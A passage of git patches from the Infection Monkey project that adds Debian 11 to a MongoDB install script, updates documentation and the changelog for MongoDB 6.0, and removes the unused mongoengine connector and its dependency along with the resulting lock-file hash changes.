Wed, 15 Feb 2023 09:32:55 -0500 Subject: [PATCH 0063/1338] Island: Add support for Debian 11 --- monkey/monkey_island/linux/install_mongo.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh index ae35007c872..0443fa82eb7 100755 --- a/monkey/monkey_island/linux/install_mongo.sh +++ b/monkey/monkey_island/linux/install_mongo.sh @@ -20,6 +20,9 @@ elif [[ ${os_version_monkey} == "Ubuntu 22.04"* ]]; then elif [[ ${os_version_monkey} == "Debian GNU/Linux 10"* ]]; then echo Detected Debian 10 export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian10-6.0.4.tgz" +elif [[ ${os_version_monkey} == "Debian GNU/Linux 11"* ]]; then + echo Detected Debian 11 + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian11-6.0.4.tgz" elif [[ ${os_version_monkey} == "Kali GNU/Linux"* ]]; then echo Detected Kali Linux export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian10-6.0.4.tgz" From 165e9e4495b343e17c90b94cde0acc26b20ad9be Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 09:45:30 -0500 Subject: [PATCH 0064/1338] Changelog: Add a changelog entry for #2706 --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3c03ee145f4..ae468cea908 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Security - Fixed plaintext private key in SSHKey pair list in UI. #2950 +- MongoDB version from 4.x to 6.0.4. #2706 ## [2.0.0] - 2023-02-08 ### Added From 78b70e6662bd2922b3b037b8978f82d4518ef782 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 10:14:01 -0500 Subject: [PATCH 0065/1338] Docs: Update docker setup instructions to use MongoDB 6.0 Issue #2706 PR #2980 --- docs/content/setup/docker.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index fb03072e37f..96394438cd5 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -14,10 +14,10 @@ The Infection Monkey Docker container works on Linux only. It is not compatible ## Deployment ### 1. Load the docker images -1. Pull the MongoDB v4.2 Docker image: +1. Pull the MongoDB v6.0 Docker image: ```bash - sudo docker pull mongo:4.2 + sudo docker pull mongo:6.0 ``` 1. Extract the Monkey Island Docker tarball: @@ -46,7 +46,7 @@ any MongoDB containers or volumes associated with the previous version. --network=host \ --volume db:/data/db \ --detach \ - mongo:4.2 + mongo:6.0 ``` ### 3. Start Monkey Island with default certificate From b6517d6dd32e6bda214db5fdf76671183f2ad0b2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 11:02:39 -0500 Subject: [PATCH 0066/1338] Island: Define MONGO_DB_* constants in mongo_setup.py --- monkey/monkey_island/cc/setup/mongo/mongo_setup.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index ef69169eacc..57a2136b8b8 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -9,11 +9,13 @@ from common.utils.file_utils import create_secure_directory from monkey_island.cc.setup.mongo import mongo_connector -from monkey_island.cc.setup.mongo.mongo_connector import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess DB_DIR_NAME = "db" MONGO_LOG_FILENAME = "mongodb.log" +MONGO_DB_NAME = "monkey_island" +MONGO_DB_HOST = "localhost" +MONGO_DB_PORT = 27017 MONGO_URL = os.environ.get( "MONKEY_MONGO_URL", "mongodb://{0}:{1}/{2}".format(MONGO_DB_HOST, MONGO_DB_PORT, MONGO_DB_NAME), From 54dfa007110f5dbddcb718794bb72ad5cea6a1c2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 11:04:33 -0500 Subject: [PATCH 0067/1338] Island: Remove call to mongo_connector.connect_dal_to_mongodb() The concept of "data access layer" has been replaced by individual repositories. The need to connect globally has been obviated by the dependency injection container --- monkey/monkey_island/cc/setup/mongo/mongo_setup.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index 57a2136b8b8..cdcbc666089 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -8,7 +8,6 @@ from pymongo.errors import ServerSelectionTimeoutError from common.utils.file_utils import create_secure_directory -from monkey_island.cc.setup.mongo import mongo_connector from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess DB_DIR_NAME = "db" @@ -50,7 +49,6 @@ def register_mongo_shutdown_callback(mongo_db_process: MongoDbProcess): def connect_to_mongodb(timeout: float): _wait_for_mongo_db_server(MONGO_URL, timeout) _assert_mongo_db_version(MONGO_URL) - mongo_connector.connect_dal_to_mongodb() def _wait_for_mongo_db_server(mongo_url, timeout): From 6a7880c2a2e862ed02e15c95c7c6794371d13228 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 11:07:24 -0500 Subject: [PATCH 0068/1338] Island: Remove disused mongo_connector.py --- monkey/monkey_island/cc/setup/mongo/mongo_connector.py | 9 --------- 1 file changed, 9 deletions(-) delete mode 100644 monkey/monkey_island/cc/setup/mongo/mongo_connector.py diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_connector.py b/monkey/monkey_island/cc/setup/mongo/mongo_connector.py deleted file mode 100644 index aebbb084394..00000000000 --- a/monkey/monkey_island/cc/setup/mongo/mongo_connector.py +++ /dev/null @@ -1,9 +0,0 @@ -from mongoengine import connect - -MONGO_DB_NAME = "monkeyisland" -MONGO_DB_HOST = "localhost" -MONGO_DB_PORT = 27017 - - -def connect_dal_to_mongodb(db=MONGO_DB_NAME, host=MONGO_DB_HOST, port=MONGO_DB_PORT): - connect(db=db, host=host, port=port) From 927c2c7e6eec3a980b1e16690ff3e251fdf66b37 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 11:17:30 -0500 Subject: [PATCH 0069/1338] Island: Remove disused mongoengine dependency Also has the side effect of updating other packages. Most notably, pymongo is updated from 3.x to 4.x --- monkey/monkey_island/Pipfile | 1 - monkey/monkey_island/Pipfile.lock | 234 +++++++++++++----------------- 2 files changed, 99 insertions(+), 136 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 46c98174b58..3c9c3f0a4a4 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -12,7 +12,6 @@ dpath = ">=2.0.5" gevent = ">=20.9.0" ipaddress = ">=1.0.23" jsonschema = "==3.2.0" -mongoengine = "==0.20" netifaces = ">=0.10.9" requests = ">=2.24" ring = ">=0.7.3" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 15c59bc54e6..e96dd10846f 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "0325a8fae7e167b9ef43297a1c2cf1fc3aba41f5bd713415cfcf0874910a174f" + "sha256": "e5acf5a8460075eb48d9e62c67f5d26c4c1fa91b94420a06cee5f5181810f3e1" }, "pipfile-spec": 6, "requires": { @@ -56,19 +56,19 @@ }, "boto3": { "hashes": [ - "sha256:123cf34f3cc58772b4f806dfbb1ae9ffae47459de5088e971be9d3cd2b198975", - "sha256:5324c2a9dbc271d2b25eb79f7469b422de411665f9ab1c0b410e8ac820859b1a" + "sha256:5a9d19cdd8dcec679c483408f208027e01ab2087cbc66787790036087b6737de", + "sha256:6c4845243d1896019646d649f1f0ff4042cedcc5db3ecfba3dc2d611ea11cd08" ], "index": "pypi", - "version": "==1.26.70" + "version": "==1.26.71" }, "botocore": { "hashes": [ - "sha256:7d9abef42846c1c2f31dacaa559f8450f6fbda74c2c9e3dc6630e06e882ad026", - "sha256:caaa144f49ef0d01b5e8812c9afa729def2c3358d9c4d9204789be2b56c5e849" + "sha256:40406466f5c416b1f54bfbfc11aef90d783103f7ea77a1992dcaf1768ab04e12", + "sha256:783e7fa97bb5bf3759e4b333b8da2bcaffdb54828ea1d759b55329cc39003b98" ], "index": "pypi", - "version": "==1.29.70" + "version": "==1.29.71" }, "certifi": { "hashes": [ @@ -287,6 +287,14 @@ "index": "pypi", "version": "==39.0.1" }, + "dnspython": { + "hashes": [ + "sha256:224e32b03eb46be70e12ef6d64e0be123a64e621ab4c0822ff6d450d52a540b9", + "sha256:89141536394f909066cabd112e3e1a37e4e654db00a25308b0f130bc3152eb46" + ], + "markers": "python_version >= '3.7' and python_version < '4.0'", + "version": "==2.3.0" + }, "dpath": { "hashes": [ "sha256:3380a77d0db4abf104125860ff6eb4bd07c97c65b81aad42a609717089a1bed0", @@ -563,14 +571,6 @@ "markers": "python_version >= '3.7'", "version": "==2.1.2" }, - "mongoengine": { - "hashes": [ - "sha256:6e127f45f71c2bc5e72461ec297a0c20f04c3ee0bf6dd869e336226e325db6ef", - "sha256:db9e5d587e5d74e52851e0e4a53fd744725bfa9918ae6070139f5ba9c62c6edf" - ], - "index": "pypi", - "version": "==0.20" - }, "netifaces": { "hashes": [ "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32", @@ -708,119 +708,83 @@ }, "pymongo": { "hashes": [ - "sha256:028175dd8d2979a889153a2308e8e500b3df7d9e3fd1c33ca7fdeadf61cc87a2", - "sha256:02f0e1a75d3bc0e16c7e15daf9c56185642be055e425f3b34888fc6eb1b22401", - "sha256:0665412dce26b2318092a33bd2d2327d487c4490cfcde158d6946d39b1e28d78", - "sha256:09b9d0f5a445c7e0ddcc021b09835aa6556f0166afc498f57dfdd72cdf6f02ad", - "sha256:09de3bfc995ae8cb955abb0c9ae963c134dba1b5622be3bcc527b89b0fd4091c", - "sha256:0e5536994cf2d8488c6fd9dea71df3c4dbb3e0d2ba5e695da06d9142a29a0969", - "sha256:0f2c5a5984599a88d087a15859860579b825098b473d8c843f1979a83d159f2e", - "sha256:1037097708498bdc85f23c8798a5c46c7bce432d77d23608ff14e0d831f1a971", - "sha256:10f0fddc1d63ba3d4a4bffcc7720184c1b7efd570726ad5e2f55818da320239f", - "sha256:12721d926d43d33dd3318e58dce9b0250e8a9c6e1093fa8e09f4805193ff4b43", - "sha256:1410faa51ce835cc1234c99ec42e98ab4f3c6f50d92d86a2d4f6e11c97ee7a4e", - "sha256:16e74b9c2aca2734c7f49f00fe68d6830a30d26df60e2ace7fe40ccb92087b94", - "sha256:172db03182a22e9002157b262c1ea3b0045c73d4ff465adc152ce5b4b0e7b8d4", - "sha256:174fd1000e896d0dfbc7f6d7e6a1992a4868796c7dec31679e38218c78d6a942", - "sha256:1c2c5e2b00e2fadcd590c0b2e293d71215e98ed1cb635cfca2be4998d197e534", - "sha256:1c9d23f62a3fa7523d849c4942acc0d9ff7081ebc00c808ee7cfdc070df0687f", - "sha256:21e61a536ffed84d10376c21c13a6ed1ebefb61989a844952547c229d6aeedf3", - "sha256:222591b828de10ac90064047b5d4916953f38c38b155009c4b8b5e0d33117c2b", - "sha256:2406df90b2335371706c59b7d79e9633b81ed2a7ecd48c1faf8584552bdf2d90", - "sha256:24e954be35ad4537840f20bbc8d75320ae647d3cb4fab12cb8fcd2d55f408e76", - "sha256:26f9cc42a162faa241c82e117ac85734ae9f14343dc2df1c90c6b2181f791b22", - "sha256:28565e3dbd69fe5fe35a210067064dbb6ed5abe997079f653c19c873c3896fe6", - "sha256:2943d739715f265a2983ac43747595b6af3312d0a370614040959fd293763adf", - "sha256:2bfc39276c0e6d07c95bd1088b5003f049e986e089509f7dbd68bb7a4b1e65ac", - "sha256:2dae3b353a10c3767e0aa1c1492f2af388f1012b08117695ab3fd1f219e5814e", - "sha256:2e0854170813238f0c3131050c67cb1fb1ade75c93bf6cd156c1bd9a16095528", - "sha256:30245a8747dc90019a3c9ad9df987e0280a3ea632ad36227cde7d1d8dcba0830", - "sha256:30ed2788a6ec68743e2040ab1d16573d7d9f6e7333e45070ce9268cbc93d148c", - "sha256:32eac95bbb030b2376ffd897376c6f870222a3457f01a9ce466b9057876132f8", - "sha256:34cd48df7e1fc69222f296d8f69e3957eb7c6b5aa0709d3467184880ed7538c0", - "sha256:34dbf5fecf653c152edb75a35a8b15dfdc4549473484ee768aeb12c97983cead", - "sha256:398fb86d374dc351a4abc2e24cd15e5e14b2127f6d90ce0df3fdf2adcc55ac1b", - "sha256:3ad3a3df830f7df7e0856c2bdb54d19f5bf188bd7420985e18643b8e4d2a075f", - "sha256:3b261d593f2563299062733ae003a925420a86ff4ddda68a69097d67204e43f3", - "sha256:3c5cb6c93c94df76a879bad4b89db0104b01806d17c2b803c1316ba50962b6d6", - "sha256:3cfc9bc1e8b5667bc1f3dbe46d2f85b3f24ff7533893bdc1203058012db2c046", - "sha256:4092b660ec720d44d3ca81074280dc25c7a3718df1b6c0fe9fe36ac6ed2833e4", - "sha256:42ba8606492d76e6f9e4c7a458ed4bc712603be393259a52450345f0945da2cf", - "sha256:4a32f3dfcca4a4816373bdb6256c18c78974ebb3430e7da988516cd95b2bd6e4", - "sha256:4a82a1c10f5608e6494913faa169e213d703194bfca0aa710901f303be212414", - "sha256:4bbc0d27dfef7689285e54f2e0a224f0c7cd9d5c46d2638fabad5500b951c92f", - "sha256:4d9ed67c987bf9ac2ac684590ba3d2599cdfb0f331ee3db607f9684469b3b59d", - "sha256:4f6dd55dab77adf60b445c11f426ee5cdfa1b86f6d54cb937bfcbf09572333ab", - "sha256:50a81b2d9f188c7909e0a1084fa969bb92a788076809c437ac1ae80393f46df9", - "sha256:50b99f4d3eee6f03778fe841d6f470e6c18e744dc665156da6da3bc6e65b398d", - "sha256:5136ebe8da6a1604998a8eb96be55935aa5f7129c41cc7bddc400d48e8df43be", - "sha256:570ae3365b23d4fd8c669cb57613b1a90b2757e993588d3370ef90945dbeec4b", - "sha256:5831a377d15a626fbec10890ffebc4c6abcd37e4126737932cd780a171eabdc1", - "sha256:59c98e86c5e861032b71e6e5b65f23e6afaacea6e82483b66f1191a5021a7b4f", - "sha256:5bdeb71a610a7b801416268e500e716d0fe693fb10d809e17f0fb3dac5be5a34", - "sha256:5c1db7d366004d6c699eb08c716a63ae0a3e946d061cbebea65d7ce361950265", - "sha256:61660710b054ae52c8fc10368e91d74719eb05554b631d7f8ca93d21d2bff2e6", - "sha256:644470442beaf969df99c4e00367a817eee05f0bba5d888f1ba6fe97b5e1c102", - "sha256:64ed1a5ce5e5926727eb0f87c698c4d9a7a9f7b0953683a65e9ce2b7cc5f8e91", - "sha256:65a063970e15a4f338f14b820561cf6cdaf2839691ac0adb2474ddff9d0b8b0b", - "sha256:65b6fddf6a7b91da044f202771a38e71bbb9bf42720a406b26b25fe2256e7102", - "sha256:6af0a4b17faf26779d5caee8542a4f2cba040cea27d3bffc476cbc6ccbd4c8ee", - "sha256:70b67390e27e58876853efbb87e43c85252de2515e2887f7dd901b4fa3d21973", - "sha256:7219b1a726ced3bacecabef9bd114529bbb69477901373e800d7d0140baadc95", - "sha256:7593cb1214185a0c5b43b96effc51ce82ddc933298ee36db7dc2bd45d61b4adc", - "sha256:776f90bf2252f90a4ae838e7917638894c6356bef7265f424592e2fd1f577d05", - "sha256:79f777eaf3f5b2c6d81f9ef00d87837001d7063302503bbcbfdbf3e9bc27c96f", - "sha256:7c7cab8155f430ca460a6fc7ae8a705b34f3e279a57adb5f900eb81943ec777c", - "sha256:7cb987b199fa223ad78eebaa9fbc183d5a5944bfe568a9d6f617316ca1c1f32f", - "sha256:7ec2bb598847569ae34292f580842d37619eea3e546005042f485e15710180d5", - "sha256:80d8576b04d0824f63bf803190359c0d3bcb6e7fa63fefbd4bc0ceaa7faae38c", - "sha256:851f2bb52b5cb2f4711171ca925e0e05344a8452972a748a8a8ffdda1e1d72a7", - "sha256:8927f22ef6a16229da7f18944deac8605bdc2c0858be5184259f2f7ce7fd4459", - "sha256:8ad0515abb132f52ce9d8abd1a29681a1e65dba7b7fe13ea01e1a8db5715bf80", - "sha256:8cc37b437cba909bef06499dadd91a39c15c14225e8d8c7870020049f8a549fe", - "sha256:93d4e9a02c17813b34e4bd9f6fbf07310c140c8f74341537c24d07c1cdeb24d1", - "sha256:944249aa83dee314420c37d0f40c30a8f6dc4a3877566017b87062e53af449f4", - "sha256:9b2ed9c3b30f11cd4a3fbfc22167af7987b01b444215c2463265153fe7cf66d6", - "sha256:9c3d07ea19cd2856d9943dce37e75d69ecbb5baf93c3e4c82f73b6075c481292", - "sha256:9f592b202d77923498b32ddc5b376e5fa9ba280d3e16ed56cb8c932fe6d6a478", - "sha256:a149377d1ff766fd618500798d0d94637f66d0ae222bb6d28f41f3e15c626297", - "sha256:a17b81f22398e3e0f72bdf938e98c810286994b2bcc0a125cd5ad8fd4ea54ad7", - "sha256:a424bdedfd84454d2905a861e0d4bb947cc5bd024fdeb3600c1a97d2be0f4255", - "sha256:a6cbb73d9fc2282677e2b7a137d13da987bd0b13abd88ed27bba5534c226db06", - "sha256:a796ef39dadf9d73af05d24937644d386495e43a7d13617aa3651d836da542c8", - "sha256:aa3bca8e76f5c00ed2bb4325e0e383a547d71595926d5275d7c88175aaf7435e", - "sha256:b01ce58eec5edeededf1992d2dce63fb8565e437be12d6f139d75b15614c4d08", - "sha256:b0746d0d4535f56bbaa63a8f6da362f330804d578e66e126b226eebe76c2bf00", - "sha256:b1223b826acbef07a7f5eb9bf37247b0b580119916dca9eae19d92b1290f5855", - "sha256:b5b733694e7df22d5c049581acfc487695a6ff813322318bed8dd66f79978636", - "sha256:b6793baf4639c72a500698a49e9250b293e17ae1faf11ac1699d8141194786fe", - "sha256:b96e0e9d2d48948240b510bac81614458fc10adcd3a93240c2fd96448b4efd35", - "sha256:bc04c92d05c142889c26810a4842273deb42e66411273cab4ad09268fe69ba69", - "sha256:bdd34c57b4da51a7961beb33645646d197e41f8517801dc76b37c1441e7a4e10", - "sha256:c0379447587ee4b8f983ba183202496e86c0358f47c45612619d634d1fcd82bd", - "sha256:c3b70ed82f20d18d22eafc9bda0ea656605071762f7d31f3c5afc35c59d3393b", - "sha256:c7c45a8a1a752002b0a7c81ab3a4c5e3b6f67f9826b16fbe3943f5329f565f24", - "sha256:c8f755ff1f4ab4ca790d1d6d3229006100b301475948021b6b2757822e0d6c97", - "sha256:d1a19d6c5098f1f4e11430cd74621699453cbc534dd7ade9167e582f50814b19", - "sha256:d1ee773fb72ba024e7e3bb6ea8907fe52bccafcb5184aaced6bad995bd30ea20", - "sha256:d42eb29ba314adfd9c11234b4b646f61b0448bf9b00f14db4b317e6e4b947e77", - "sha256:d593d50815771f517d3ac4367ff716e3f3c78edae51d98e1e25791459f8848ff", - "sha256:d7910135f5de1c5c3578e61d6f4b087715b15e365f11d4fa51a9cee92988b2bd", - "sha256:d7c91747ec8dde51440dd594603158cc98abb3f7df84b2ed8a836f138285e4fb", - "sha256:db2e11507fe9cc2a722be21ccc62c1b1295398fe9724c1f14900cdc7166fc0d7", - "sha256:db5b4f8ad8607a3d612da1d4c89a84e4cf5c88f98b46365820d9babe5884ba45", - "sha256:e1956f3338c10308e2f99c2c9ff46ae412035cbcd7aaa76c39ccdb806854a247", - "sha256:e22d6cf5802cd09b674c307cc9e03870b8c37c503ebec3d25b86f2ce8c535dc7", - "sha256:e5161167b3840e9c84c80f2534ea6a099f51749d5673b662a3dd248be17c3208", - "sha256:e5e87c0eb774561c546f979342a8ff36ebee153c60a0b6c6b03ba989ceb9538c", - "sha256:e6f8191a282ef77e526f8f8f63753a437e4aa4bc78f5edd8b6b6ed0eaebd5363", - "sha256:e8f6979664ff477cd61b06bf8aba206df7b2334209815ab3b1019931dab643d6", - "sha256:ea8824ebc9a1a5c8269e8f1e3989b5a6bec876726e2f3c33ebd036cb488277f0", - "sha256:f4175fcdddf764d371ee52ec4505a40facee2533e84abf2953cda86d050cfa1f", - "sha256:fe8194f107f0fa3cabd14e9e809f174eca335993c1db72d1e74e0f496e7afe1f" + "sha256:016c412118e1c23fef3a1eada4f83ae6e8844fd91986b2e066fc1b0013cdd9ae", + "sha256:01f7cbe88d22440b6594c955e37312d932fd632ffed1a86d0c361503ca82cc9d", + "sha256:08fc250b5552ee97ceeae0f52d8b04f360291285fc7437f13daa516ce38fdbc6", + "sha256:0c466710871d0026c190fc4141e810cf9d9affbf4935e1d273fbdc7d7cda6143", + "sha256:1074f1a6f23e28b983c96142f2d45be03ec55d93035b471c26889a7ad2365db3", + "sha256:12f3621a46cdc7a9ba8080422262398a91762a581d27e0647746588d3f995c88", + "sha256:2c2fdc855149efe7cdcc2a01ca02bfa24761c640203ea94df467f3baf19078be", + "sha256:316498b642c00401370b2156b5233b256f9b33799e0a8d9d0b8a7da217a20fca", + "sha256:341221e2f2866a5960e6f8610f4cbac0bb13097f3b1a289aa55aba984fc0d969", + "sha256:34b040e095e1671df0c095ec0b04fc4ebb19c4c160f87c2b55c079b16b1a6b00", + "sha256:34e95ffb0a68bffbc3b437f2d1f25fc916fef3df5cdeed0992da5f42fae9b807", + "sha256:39b03045c71f761aee96a12ebfbc2f4be89e724ff6f5e31c2574c1a0e2add8bd", + "sha256:3b93043b14ba7eb08c57afca19751658ece1cfa2f0b7b1fb5c7a41452fbb8482", + "sha256:47f7aa217b25833cd6f0e72b0d224be55393c2692b4f5e0561cb3beeb10296e9", + "sha256:49210feb0be8051a64d71691f0acbfbedc33e149f0a5d6e271fddf6a12493fed", + "sha256:4d00b91c77ceb064c9b0459f0d6ea5bfdbc53ea9e17cf75731e151ef25a830c7", + "sha256:4ed00f96e147f40b565fe7530d1da0b0f3ab803d5dd5b683834500fa5d195ec4", + "sha256:5134d33286c045393c7beb51be29754647cec5ebc051cf82799c5ce9820a2ca2", + "sha256:524d78673518dcd352a91541ecd2839c65af92dc883321c2109ef6e5cd22ef23", + "sha256:52896e22115c97f1c829db32aa2760b0d61839cfe08b168c2b1d82f31dbc5f55", + "sha256:54c377893f2cbbffe39abcff5ff2e917b082c364521fa079305f6f064e1a24a9", + "sha256:55b6163dac53ef1e5d834297810c178050bd0548a4136cd4e0f56402185916ca", + "sha256:599d3f6fbef31933b96e2d906b0f169b3371ff79ea6aaf6ecd76c947a3508a3d", + "sha256:5effd87c7d363890259eac16c56a4e8da307286012c076223997f8cc4a8c435b", + "sha256:66413c50d510e5bcb0afc79880d1693a2185bcea003600ed898ada31338c004e", + "sha256:695939036a320f4329ccf1627edefbbb67cc7892b8222d297b0dd2313742bfee", + "sha256:6c2216d8b6a6d019c6f4b1ad55f890e5e77eb089309ffc05b6911c09349e7474", + "sha256:6dd1cf2995fdbd64fc0802313e8323f5fa18994d51af059b5b8862b73b5e53f0", + "sha256:6fcfbf435eebf8a1765c6d1f46821740ebe9f54f815a05c8fc30d789ef43cb12", + "sha256:704d939656e21b073bfcddd7228b29e0e8a93dd27b54240eaafc0b9a631629a6", + "sha256:711bc52cb98e7892c03e9b669bebd89c0a890a90dbc6d5bb2c47f30239bac6e9", + "sha256:74731c9e423c93cbe791f60c27030b6af6a948cef67deca079da6cd1bb583a8e", + "sha256:7761cacb8745093062695b11574effea69db636c2fd0a9269a1f0183712927b4", + "sha256:7b16250238de8dafca225647608dddc7bbb5dce3dd53b4d8e63c1cc287394c2f", + "sha256:7c051fe37c96b9878f37fa58906cb53ecd13dcb7341d3a85f1e2e2f6b10782d9", + "sha256:7d43ac9c7eeda5100fb0a7152fab7099c9cf9e5abd3bb36928eb98c7d7a339c6", + "sha256:81d1a7303bd02ca1c5be4aacd4db73593f573ba8e0c543c04c6da6275fd7a47e", + "sha256:8a06a0c02f5606330e8f2e2f3b7949877ca7e4024fa2bff5a4506bec66c49ec7", + "sha256:8fd6e191b92a10310f5a6cfe10d6f839d79d192fb02480bda325286bd1c7b385", + "sha256:943f208840777f34312c103a2d1caab02d780c4e9be26b3714acf6c4715ba7e1", + "sha256:9b87b23570565a6ddaa9244d87811c2ee9cffb02a753c8a2da9c077283d85845", + "sha256:a6cd6f1db75eb07332bd3710f58f5fce4967eadbf751bad653842750a61bda62", + "sha256:a966d5304b7d90c45c404914e06bbf02c5bf7e99685c6c12f0047ef2aa837142", + "sha256:a9c2885b4a8e6e39db5662d8b02ca6dcec796a45e48c2de12552841f061692ba", + "sha256:b0cfe925610f2fd59555bb7fc37bd739e4b197d33f2a8b2fae7b9c0c6640318c", + "sha256:b38a96b3eed8edc515b38257f03216f382c4389d022a8834667e2bc63c0c0c31", + "sha256:b8a03af1ce79b902a43f5f694c4ca8d92c2a4195db0966f08f266549e2fc49bc", + "sha256:bb869707d8e30645ed6766e44098600ca6cdf7989c22a3ea2b7966bb1d98d4b2", + "sha256:be1d2ce7e269215c3ee9a215e296b7a744aff4f39233486d2c4d77f5f0c561a6", + "sha256:c0640b4e9d008e13956b004d1971a23377b3d45491f87082161c92efb1e6c0d6", + "sha256:c09956606c08c4a7c6178a04ba2dd9388fcc5db32002ade9c9bc865ab156ab6d", + "sha256:c184ec5be465c0319440734491e1aa4709b5f3ba75fdfc9dbbc2ae715a7f6829", + "sha256:c1a70c51da9fa95bd75c167edb2eb3f3c4d27bc4ddd29e588f21649d014ec0b7", + "sha256:c29e758f0e734e1e90357ae01ec9c6daf19ff60a051192fe110d8fb25c62600e", + "sha256:c6258a3663780ae47ba73d43eb63c79c40ffddfb764e09b56df33be2f9479837", + "sha256:cafa52873ae12baa512a8721afc20de67a36886baae6a5f394ddef0ce9391f91", + "sha256:cd6a4afb20fb3c26a7bfd4611a0bbb24d93cbd746f5eb881f114b5e38fd55501", + "sha256:cdb87309de97c63cb9a69132e1cb16be470e58cffdfbad68fdd1dc292b22a840", + "sha256:d07d06dba5b5f7d80f9cc45501456e440f759fe79f9895922ed486237ac378a8", + "sha256:d3a51901066696c4af38c6c63a1f0aeffd5e282367ff475de8c191ec9609b56d", + "sha256:d5571b6978750601f783cea07fb6b666837010ca57e5cefa389c1d456f6222e2", + "sha256:d86c35d94b5499689354ccbc48438a79f449481ee6300f3e905748edceed78e7", + "sha256:dc0cff74cd36d7e1edba91baa09622c35a8a57025f2f2b7a41e3f83b1db73186", + "sha256:dc24d245026a72d9b4953729d31813edd4bd4e5c13622d96e27c284942d33f24", + "sha256:dca34367a4e77fcab0693e603a959878eaf2351585e7d752cac544bc6b2dee46", + "sha256:e2961b05f9c04a53da8bfc72f1910b6aec7205fcf3ac9c036d24619979bbee4b", + "sha256:e7fac06a539daef4fcf5d8288d0d21b412f9b750454cd5a3cf90484665db442a", + "sha256:eac0a143ef4f28f49670bf89cb15847eb80b375d55eba401ca2f777cd425f338", + "sha256:ef888f48eb9203ee1e04b9fb27429017b290fb916f1e7826c2f7808c88798394", + "sha256:f3055510fdfdb1775bc8baa359783022f70bb553f2d46e153c094dfcb08578ff", + "sha256:fa7e202feb683dad74f00dea066690448d0cfa310f8a277db06ec8eb466601b5", + "sha256:fc28e8d85d392a06434e9a934908d97e2cf453d69488d2bcd0bfb881497fd975", + "sha256:fd7bb378d82b88387dc10227cfd964f6273eb083e05299e9b97cbe075da12d11", + "sha256:ffcc8394123ea8d43fff8e5d000095fe7741ce3f8988366c5c919c4f5eb179d3" ], "index": "pypi", - "version": "==3.13.0" + "version": "==4.3.3" }, "pypubsub": { "hashes": [ @@ -1010,11 +974,11 @@ }, "typing-extensions": { "hashes": [ - "sha256:1511434bb92bf8dd198c12b1cc812e800d4181cfcb867674e0f8279cc93087aa", - "sha256:16fa4864408f655d35ec496218b85f79b3437c829e93320c7c9215ccfd92489e" + "sha256:5cb5f4a79139d699607b3ef622a1dedafa84e115ab0024e0d9c044a9479ca7cb", + "sha256:fb33085c39dd998ac16d1431ebc293a8b3eedd00fd4a32de0ff79002c19511b4" ], "markers": "python_version < '3.8'", - "version": "==4.4.0" + "version": "==4.5.0" }, "urllib3": { "hashes": [ @@ -1788,11 +1752,11 @@ }, "types-python-dateutil": { "hashes": [ - "sha256:4a6f4cc19ce4ba1a08670871e297bf3802f55d4f129e6aa2443f540b6cf803d2", - "sha256:cfb7d31021c6bce6f3362c69af6e3abb48fe3e08854f02487e844ff910deec2a" + "sha256:669751e1e6d4f3dbbff471231740e7ecdae2135b604383e477fe31fd56223967", + "sha256:7af5a5d1b80ab1dfa0ba4d879facb382e836a62c2d408c2a509be4680fd8b1c8" ], "index": "pypi", - "version": "==2.8.19.6" + "version": "==2.8.19.7" }, "types-pytz": { "hashes": [ @@ -1812,11 +1776,11 @@ }, "typing-extensions": { "hashes": [ - "sha256:1511434bb92bf8dd198c12b1cc812e800d4181cfcb867674e0f8279cc93087aa", - "sha256:16fa4864408f655d35ec496218b85f79b3437c829e93320c7c9215ccfd92489e" + "sha256:5cb5f4a79139d699607b3ef622a1dedafa84e115ab0024e0d9c044a9479ca7cb", + "sha256:fb33085c39dd998ac16d1431ebc293a8b3eedd00fd4a32de0ff79002c19511b4" ], "markers": "python_version < '3.8'", - "version": "==4.4.0" + "version": "==4.5.0" }, "urllib3": { "hashes": [ From 5dd0d694197cd510ef8f728f7ae69c07dd4bd475 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 